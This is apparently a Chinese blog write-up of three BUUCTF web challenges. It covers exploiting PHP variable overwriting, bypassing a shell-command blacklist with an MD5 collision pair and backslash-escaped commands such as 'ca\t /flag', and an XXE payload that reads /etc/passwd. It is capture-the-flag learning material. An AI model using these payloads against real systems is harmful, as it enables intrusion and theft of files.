IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发测试 -> BUU刷题Day7 -> 正文阅读

[开发测试]BUU刷题Day7

目录

[BJDCTF2020]Mark loves cat

PHP foreach 循环

语法

举个栗子

总结:

[安洵杯 2019]easy_web

总结:

[NCTF2019]Fake XML cookbook

总结:


[BJDCTF2020]Mark loves cat

buu不能用御剑这类的工具扫,但是可以用burp设置线程小一点,虽然慢,但是比没有好,这个题是.git泄露,用githack获取源码

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
?
foreach($_POST as $x => $y){
 ?  $$x = $y;
}
?
foreach($_GET as $x => $y){
 ?  $$x = $$y;
}
?
foreach($_GET as $x => $y){
 ?  if($_GET['flag'] === $x && $x !== 'flag'){  //GET方式传flag只能传一个flag=flag
 ? ? ?  exit($handsome);
 ?  }
}
?
if(!isset($_GET['flag']) && !isset($_POST['flag'])){    //GET和POST其中之一必须传flag
 ?  exit($yds);
}
?
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
 ?  exit($is);
}
?
echo "the flag is: ".$flag;
?>
?

PHP foreach 循环

foreach循环仅适用于数组,用于循环遍历数组中的每个键/值对。

语法

foreach ($array as $value) { code to be executed; }

举个栗子

对于每次循环迭代,将当前数组元素的值分配给 $value 并将数组指针移动 1,直到它到达最后一个数组元素。

这里有变量覆盖漏洞,前两个foreach语句分别将POST参数和GET参数进行变量覆盖,接着是三个if语句,exit()函数退出脚本的同时输出变量,最后一句是输出我们想要的flag。

先看第一个GET传flag

foreach($_GET as $x => $y){
 ?  if($_GET['flag'] === $x && $x !== 'flag'){  //GET方式传flag只能传一个flag=flag
 ? ? ?  exit($handsome);
 ?  }
}

如果 get型flag参数绝对等于变量名并且变量名等不等于flag则执行 exit($handsome),如果我们传参?flag=abc&abc=123,输出$handsome,但是这个写法会在前面进行变量覆盖的时候让$flag=$abc(会报错,因为$abc不存在),所以这里不行

if(!isset($_GET['flag']) && !isset($_POST['flag'])){    //GET和POST其中之一必须传flag
 ?  exit($yds);
}

如果GET和POST都没有传flag参数,则执行exit($yds);这里可以传?yds=flag,经过变量覆盖之后就$yds = $flag,从而输出$flag的值。

第三个位置

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
 ?  exit($is);
}

判断条件为$_POST['flag'] === 'flag' || $_GET['flag'] === 'flag',这里可以通过满足后面这个条件进行变量覆盖:GET传参is=flag&flag=flag;在第二个foreach语句中,首先是$x=is,$y=flag,带进去就变成了$is=$flag,这就达到了覆盖的目的,而参数中flag=flag只是为了满足if语句;

总结:

有些命令给出来可能是迷惑人的,要好好的审!

学到了foreach!

[安洵杯 2019]easy_web

打开题目发现url上有?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

base64解码一下MzUzNTM1MmU3MDZlNjc=

再解码3535352e706e67

Ctrl+U查看源代码发现有一大串base64加密,那我们就换行看看后面隐藏了什么好东西

MD5 is funny(我也这么认为

应该和MD5有关,但是思路断了,那就抓包看看消息头,没有东西。。

回头再看哪个base64两次解码出来的东西,那就hex解码一下

555.png

因为源代码里面有MD5加密所以我把index.php也hex编码,然后两次base64试试,看能不能读到源码;就这么读到了!

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
 ?  header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
?
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
 ?  echo '<img src ="./ctf3.jpeg">';
 ?  die("xixi~ no flag");
} else {
 ?  $txt = base64_encode(file_get_contents($file));
 ?  echo "<img src='data:image/gif;base64," . $txt . "'></img>";
 ?  echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
 ?  echo("forbid ~");
 ?  echo "<br>";
} else {
 ?  if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
 ? ? ?  echo `$cmd`;
 ?  } else {
 ? ? ?  echo ("md5 is funny ~");
 ?  }
}
?
?>
<html>
<style>
  body{
 ? background:url(./bj.png)  no-repeat center center;
 ? background-size:cover;
 ? background-attachment:fixed;
 ? background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

注意!!

 ?  if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
 ? ? ?  echo `$cmd`;
 ?  } else {
 ? ? ?  echo ("md5 is funny ~");
 ?  }

MD5强碰撞?冲!掏出以前的笔记

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

POST传一下

然后会返回cmd里面的结果!ls一下吧,啊哦!ls被禁了,但是\没有被禁!所以payload:

l\s

没有flag,那就

ca\t%20/flag

拿下!

总结:

可以用l\s来bypass

[NCTF2019]Fake XML cookbook

看这个名字应该是个XXE注入!抓包!

很明显,username和password都是xml格式,且返回的包中msg标签内的内容就是我们username的内容,所以我们的注入点就在username!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user>
<username>
&admin;
</username>
<password>
123456
</password>
</user>

读到了!

根据经验,flag在根目录!!

总结:

学习了XXE之后还没做过题,这是第一个题,就当是复习了吧!!

感谢BUU提供优质题,感谢勤奋的自己!!

  开发测试 最新文章
pytest系列——allure之生成测试报告(Wind
某大厂软件测试岗一面笔试题+二面问答题面试
iperf 学习笔记
关于Python中使用selenium八大定位方法
【软件测试】为什么提升不了?8年测试总结再
软件测试复习
PHP笔记-Smarty模板引擎的使用
C++Test使用入门
【Java】单元测试
Net core 3.x 获取客户端地址
上一篇文章      下一篇文章      查看所有文章
加:2022-04-01 23:43:15  更:2022-04-01 23:43:37 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/18 0:18:51-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码